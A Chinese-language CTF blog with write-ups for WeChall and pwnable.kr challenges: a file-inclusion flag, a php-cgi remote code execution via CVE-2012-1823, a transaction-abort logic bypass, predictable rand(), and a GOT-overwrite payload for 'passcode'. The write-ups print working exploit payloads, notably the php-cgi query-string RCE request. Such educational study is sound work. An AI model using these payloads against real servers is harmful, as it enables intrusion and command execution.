$flag='flag{d61d8908-465b-443e-b4b7-558d142f6fdd}';
echo 'flag_is_here';

后记

为了了弄清楚为什么伪协议没作用,我又读取了admin.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:23:00 GMT
Content-Type: application/octet-stream
Content-Length: 586
Connection: keep-alive
Last-Modified: Fri, 17 Feb 2017 06:09:38 GMT
ETag: "58a693a2-24a"
Accept-Ranges: bytes

<?php
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
setcookie("login", "0");
if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
die("<script>alert('You need to log in!');location.href='/login.php';</script>");
if (!isset($_GET['module']) || !isset($_GET['name']))
header("Location: admin.php?module=index&name=php");

?>
<?php
$ext = $_GET['name'];
if ($ext === 'php') {
$ext = ".".$ext;
}else{
$ext = '';
}
include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
?>

原来在module参数之前,还构造了字符串/var/www/html,所以连接起来后,就不是伪协议了。

总结

通过这一题,知道了web安全配置的重要性。同时也知道了,只有了解清楚web技术的方方面面才能更有效的找到安全漏洞,和提升web安全性。

weChall-Warchall Live RCE

发表于 2017-12-18 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这一题确实以前没见过,怪我见识少咯!这是一道关于php-cgi的题目,要利用其在PHP低版本的公开漏洞CVE-2012-1823。

分析

首页给我的展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Live RCE!

Hello Guest!

Here are your $_SERVER vars:

Array
(
[REDIRECT_UNIQUE_ID] => Wjezv7A6WcMAAAoRCTkAAAAA
[REDIRECT_HANDLER] => application/x-httpd-php5-cgi
[REDIRECT_STATUS] => 200
[UNIQUE_ID] => Wjezv7A6WcMAAAoRCTkAAAAA
[HTTP_HOST] => rce.warchall.net
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
[HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
[HTTP_ACCEPT_ENCODING] => gzip, deflate
[HTTP_CONNECTION] => keep-alive
[HTTP_UPGRADE_INSECURE_REQUESTS] => 1
[PATH] => /bin:/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/i686-pc-linux-gnu/gcc-bin/5.4.0:/opt/bin
[SERVER_SIGNATURE] =>
Apache Server at rce.warchall.net Port 80


[SERVER_SOFTWARE] => Apache
[SERVER_NAME] => rce.warchall.net
[SERVER_ADDR] => 176.58.89.195
[SERVER_PORT] => 80
[REMOTE_ADDR] => 119.36.85.130
[DOCUMENT_ROOT] => /home/level/20_live_rce/www
[SERVER_ADMIN] => [no address given]
[SCRIPT_FILENAME] => /home/level/20_live_rce/www/index.php
[REMOTE_PORT] => 43691
[REDIRECT_URL] => /index.php
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[REQUEST_URI] => /index.php
[SCRIPT_NAME] => /index.php
[ORIG_SCRIPT_FILENAME] => /usr/bin/php53-cgi/php-cgi
[ORIG_PATH_INFO] => /index.php
[ORIG_PATH_TRANSLATED] => /home/level/20_live_rce/www/index.php
[ORIG_SCRIPT_NAME] => /local-bin/php-cgi
[PHP_SELF] => /index.php
[REQUEST_TIME] => 1513599935
)

Kind Regards
The Warchall staff!

开始也没看出有啥毛病,不就是显示了$_SERVER变量的内容吗,咋利用啊?后来反复看了几遍,想着可能只有php-cgi这有什么漏洞吧。于是百度了一下果然有,就是CVE-2012-1823的PHP远程代码执行漏洞,曾经还轰动一时。乖乖,怪自己学识太少,这都不知道。

知识点

这里直接引用了这篇博文的一段话

php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。

php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。
CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。
这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。
但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。

解决

看了上面的知识点就知道了如何利用了,于是有了下面的payload

1
2
3
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

POST data: <?php system('ls');?>

weChall-Stop us

发表于 2017-12-16 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

好吧,我承认这道题我完全没有任何头绪T_T。看了别人的writeup才做出来的,再次让我佩服php语言的博大精深!!!

分析

先贴源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<?php
/**
* noothworx proudly presents a secure shop for domain selling!
*/
# Disable output buffering
if (ob_get_level() > 0) ob_end_clean();
apache_setenv('no-gzip', 1);
ini_set('zlib.output_compression', 0);

# The core and init
chdir('../../../');
$_GET['mo'] = 'WeChall';
$_GET['me'] = 'Challenge';
$cwd = getcwd();
require_once 'protected/config.php';
require_once '../gwf3.class.php';
$gwf = new GWF3($cwd, array(
'website_init' => true,
'autoload_modules' => true,
'load_module' => true,
'get_user' => true,
'do_logging' => true,
'blocking' => false,
'no_session' => false,
'store_last_url' => true,
'ignore_user_abort' => false,
));

# Need noothtable!
require_once 'challenge/noother/stop_us/noothtable.php';

# Get challenge
define('GWF_PAGE_TITLE', 'Stop us');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
{
$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 3, 'challenge/noother/stop_us/index.php', false);
}

$price = 10.00; # Price for a domain.
$user = GWF_User::getStaticOrGuest();
$sid = GWF_Session::getSession()->getID();
noothtable::initNoothworks($sid); # init domain stuff.
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>[WeChall] noother-Domain.com</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Content-Language" content="en" />
<meta name="robots" content="index, follow" />
<meta name="keywords" content="wechall, challenge, stopus, stop us, stop_us" />
<meta name="description" content="noother-domain.com is a fictional service selling .xyz domains. It is a hacking challenge on wechall." />
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="stylesheet" type="text/css" href="/tpl/default/css/gwf3.css?v=9" />
<link rel="stylesheet" type="text/css" href="/tpl/wc4/css/wechall4.css?v=9a" />
</head>
<body>
<h1><a href="nootherdomain.php">noother-domains.com</a> (powered by <a href="/challenge/noother/stop_us/index.php">WeChall</a>)</h1>

<?php
if (Common::getGetString('load') === 'balance')
{
if (noother_timeout($sid) === false)
{
nooth_message('Checking your credit card ...');
nooth_message('Uploading $10.00 ...');
# +10 money and +1 funding
noothtable::increaseMoney($sid, 10);
nooth_message(sprintf('Your account balance is now $%.02f.<br/>Thank you for using noother-domains.com!', noothtable::getMoney($sid)));
}
}

if (Common::getGetString('purchase') === 'domain')
{
if (noother_timeout($sid) === false)
{
nooth_message('Checking your balance ...');
nooth_message(sprintf('Your balance is $%.02f ...', noothtable::getMoney($sid)));
if (noothtable::getMoney($sid) >= $price)
{
nooth_message('Balance ok!');

# TODO: Do checks more checks!
nooth_message('Checking availability of your domain ...');
nooth_message('Domain is available ...');

# +1 domain
if (false === noothtable::purchaseDomain($sid))
{
die('Hacking attempt!');
}
nooth_message('Purchasing ...');
nooth_message('Domain purchased.');

# -$10.00
nooth_message('Reducing your balance ...');
noothtable::reduceMoney($sid, $price);
nooth_message('Thank you for your purchase!');

# Done!
nooth_message('Purchased!');

# Something weird? Oo
if (noothtable::getFundings($sid) < noothtable::getDomains($sid))
{
GWF_Module::loadModuleDB('Forum', true, true);
# Get here, hacker!
$chall->onChallengeSolved(GWF_Session::getUserID());
}
nooth_message('Thank you for using noother-domains.com!');
}
else
{
nooth_message('Insufficient funds!');
}
}
}

# The page!
?>
<div>
<div>Username: <?php echo $user->displayUsername(); ?></div>
<div>Balance: <?php printf('$%.02f', noothtable::getMoney($sid)); ?></div>
<div>Domains: <?php echo noothtable::getDomains($sid); ?></div>
<div><a href="nootherdomain.php?load=balance">Upload money</a>(<?php echo noothtable::getFundings($sid); ?>)</div>
<div><a href="nootherdomain.php?purchase=domain">Purchase domain</a></div>
</div>
</body>
<?php
########################
### Helper functions ###
########################
function noother_timeout($sid)
{
$wait = noothtable::checkTimeout($sid, time());
if ($wait >= 0)
{
nooth_message(sprintf('Please wait %s until the next transaction.', GWF_Time::humanDuration(45)));
return true;
}
return false;
}

function nooth_message($message, $sleep=2)
{
echo sprintf('<div>%s</div>', $message).PHP_EOL;
flush();
sleep($sleep);
}
?>

整个程序的功能就是一个简单的域名购买。开始你是没有钱的,先得用经费充钱一次只有10美元,然后买一个域名也只要10美元。所以使用经费的次数肯定大于或等于购买的域名个数。然而要getflag必须反过来。。。
看了半天程序实在想不出来有啥绕过方法,于是我就知道了肯定这道题触及了我的知识盲区T_T。于是果断搜索别人的writeup。这是人家的writeup

知识点

原来是这个ignore_user_abort搞的鬼,原来真没见过。

1
2
3
ignore_user_abort(setting);
setting:可选。如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行。如果未设置该参数,会返回当前的设置。
注释:PHP 不会检测到用户是否已断开连接,直到尝试向客户机发送信息为止。简单地使用 echo 语句无法确保信息发送,参阅 flush() 函数。

解决

看了知识点,再结合源码中ignore_user_abort设置了false(当时真没注意),nooth_message函数中有flush函数(当时还纳闷儿调用这个函数干嘛),就知道了解法。由于域名是在购买之后再将手上的钱减少的,所以如果在这两个操作之间用户断开的话,那么脚本终止执行,于是手上的钱就不会扣掉了,于是就能getflag了。

pwnable.kr-random

发表于 2017-12-10 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

分析

还是先分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

程序先是使用rand函数产生一个随机数然后和输入的一个整数进行异或,如果结果等于0xdeadbeef则getflag。
显然rand函数前没有设置随机种子,所以每次程序启动random的值都是不变的,于是只要获得random的值然后和0xdeadbeef异或就能得到应该输入的整数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Dump of assembler code for function main:
0x00000000004005f4 <+0>: push %rbp
0x00000000004005f5 <+1>: mov %rsp,%rbp
0x00000000004005f8 <+4>: sub $0x10,%rsp
0x00000000004005fc <+8>: mov $0x0,%eax
0x0000000000400601 <+13>: callq 0x400500 <rand@plt>
0x0000000000400606 <+18>: mov %eax,-0x4(%rbp)
=> 0x0000000000400609 <+21>: movl $0x0,-0x8(%rbp)
0x0000000000400610 <+28>: mov $0x400760,%eax
0x0000000000400615 <+33>: lea -0x8(%rbp),%rdx
0x0000000000400619 <+37>: mov %rdx,%rsi
0x000000000040061c <+40>: mov %rax,%rdi
0x000000000040061f <+43>: mov $0x0,%eax
0x0000000000400624 <+48>: callq 0x4004f0 <__isoc99_scanf@plt>
0x0000000000400629 <+53>: mov -0x8(%rbp),%eax
0x000000000040062c <+56>: xor -0x4(%rbp),%eax
0x000000000040062f <+59>: cmp $0xdeadbeef,%eax
0x0000000000400634 <+64>: jne 0x400656 <main+98>
0x0000000000400636 <+66>: mov $0x400763,%edi
0x000000000040063b <+71>: callq 0x4004c0 <puts@plt>
0x0000000000400640 <+76>: mov $0x400769,%edi
0x0000000000400645 <+81>: mov $0x0,%eax
0x000000000040064a <+86>: callq 0x4004d0 <system@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) i r
rax 0x6b8b4567 1804289383
rbx 0x0 0
rcx 0x7f6b1fb420a4 140098070126756
rdx 0x7f6b1fb420a8 140098070126760
rsi 0x7ffed4bf634c 140732467733324
rdi 0x7f6b1fb42620 140098070128160
rbp 0x7ffed4bf6380 0x7ffed4bf6380

上面是题目平台中使用gdb调试获的信息,可以看出random=rax=0x6b8b4567。
于是payload=random ^ 0xdeadbeef=0xb526fb88=3039230856

1
2
3
random@ubuntu:~$ echo 3039230856 | ./random
Good!
Mommy, I thought libc random is unpredictable...

pwnable.kr-passcode

发表于 2017-12-10 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

分析

首先读源码passcode.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

welcome函数功能是获取一个最大100字节的字符串,然后打印出来。login函数是主要讨论的函数,它在scanf函数的调用上出现问题(当时忽略了浪费了很长时间),程序本意是获取整数存储在passcode1和passcode2上但是在调用scanf函数时没有传入变量的地址,而是变量的值,当然也就有了利用的思路。login函数中一处调用了fflush(stdin),它本意是刷新输入句柄,但刷新stdin是c编译器对c语言库的扩展,正好gcc不支持这个所以这个函数调用在这里没作用。
题目的解题思路是,利用welcome函数在栈上进行数值的排布,然后login函数在调用第一个scanf函数时就会使用栈上welcome函数遗留的栈数据,于是可以向任意四字节地址写入一个四字节数据(前提是有写权限),然后控制welcome函数的栈遗留数据和scanf函数的写入改变GOT表中fflush函数的地址,使其指向要到达的程序流程。
首先需要计算passcode1在welcome函数栈中的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
08048564 <login>:
8048564: 55 push %ebp
8048565: 89 e5 mov %esp,%ebp
8048567: 83 ec 28 sub $0x28,%esp
804856a: b8 70 87 04 08 mov $0x8048770,%eax
804856f: 89 04 24 mov %eax,(%esp)
8048572: e8 a9 fe ff ff call 8048420 <printf@plt>
8048577: b8 83 87 04 08 mov $0x8048783,%eax
804857c: 8b 55 f0 mov -0x10(%ebp),%edx
804857f: 89 54 24 04 mov %edx,0x4(%esp)
8048583: 89 04 24 mov %eax,(%esp)
8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt>
804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
8048590: 89 04 24 mov %eax,(%esp)
8048593: e8 98 fe ff ff call 8048430 <fflush@plt>
8048598: b8 86 87 04 08 mov $0x8048786,%eax
804859d: 89 04 24 mov %eax,(%esp)
80485a0: e8 7b fe ff ff call 8048420 <printf@plt>
80485a5: b8 83 87 04 08 mov $0x8048783,%eax
80485aa: 8b 55 f4 mov -0xc(%ebp),%edx
80485ad: 89 54 24 04 mov %edx,0x4(%esp)
80485b1: 89 04 24 mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt>
80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call 8048450 <puts@plt>
80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp)
80485cc: 75 23 jne 80485f1 <login+0x8d>
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)
80485f8: e8 53 fe ff ff call 8048450 <puts@plt>
80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048604: e8 77 fe ff ff call 8048480 <exit@plt>

08048609 <welcome>:
8048609: 55 push %ebp
804860a: 89 e5 mov %esp,%ebp
804860c: 81 ec 88 00 00 00 sub $0x88,%esp
8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048618: 89 45 f4 mov %eax,-0xc(%ebp)
804861b: 31 c0 xor %eax,%eax
804861d: b8 cb 87 04 08 mov $0x80487cb,%eax
8048622: 89 04 24 mov %eax,(%esp)
8048625: e8 f6 fd ff ff call 8048420 <printf@plt>
804862a: b8 dd 87 04 08 mov $0x80487dd,%eax
804862f: 8d 55 90 lea -0x70(%ebp),%edx
8048632: 89 54 24 04 mov %edx,0x4(%esp)
8048636: 89 04 24 mov %eax,(%esp)
8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt>
804863e: b8 e3 87 04 08 mov $0x80487e3,%eax
8048643: 8d 55 90 lea -0x70(%ebp),%edx
8048646: 89 54 24 04 mov %edx,0x4(%esp)
804864a: 89 04 24 mov %eax,(%esp)
804864d: e8 ce fd ff ff call 8048420 <printf@plt>
8048652: 8b 45 f4 mov -0xc(%ebp),%eax
8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
804865c: 74 05 je 8048663 <welcome+0x5a>
804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt>
8048663: c9 leave
8048664: c3 ret

通过两个函数的汇编代码,可以发现name字符串在ebp-70h处,passcode1和passcode2分别在ebp-10h和ebp-0ch。又name最大为100字节所以只能控制passcode1的值,其在name中的偏移为96即为最后四个字节.

1
2
3
4
08048430 <fflush@plt>:
8048430: ff 25 04 a0 04 08 jmp *0x804a004
8048436: 68 08 00 00 00 push $0x8
804843b: e9 d0 ff ff ff jmp 8048410 <_init+0x30>

将其覆盖为fflush函数的got表地址0x804a004。然后将调用system("/bin/cat flag")的程序地址作为login调用scanf时的输入(这是接受输入的是整数可以转换为十进制)。
最后的payload为

1
python -c "print 'a'*96+'\x04\xa0\x04\x08\n',134514147" | ./passcode

1
2
3
4
5
passcode@ubuntu:~$ python -c "print 'a'*96+'\x04\xa0\x04\x08\n',134514147" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

总结

这道题有了一点溢出的味道,主要是利用栈上遗留数据加上GOT表可写来改变程序流程。同时要有got表和plt表的基础知识。

1…345

r00tnb

努力学习网络安全技术,喜欢二进制,一直努力但进步甚微。

46 日志
4 分类
6 标签
GitHub E-Mail
友情链接
  • 还没有T_T
© 2018 r00tnb
博客全站共53.3k字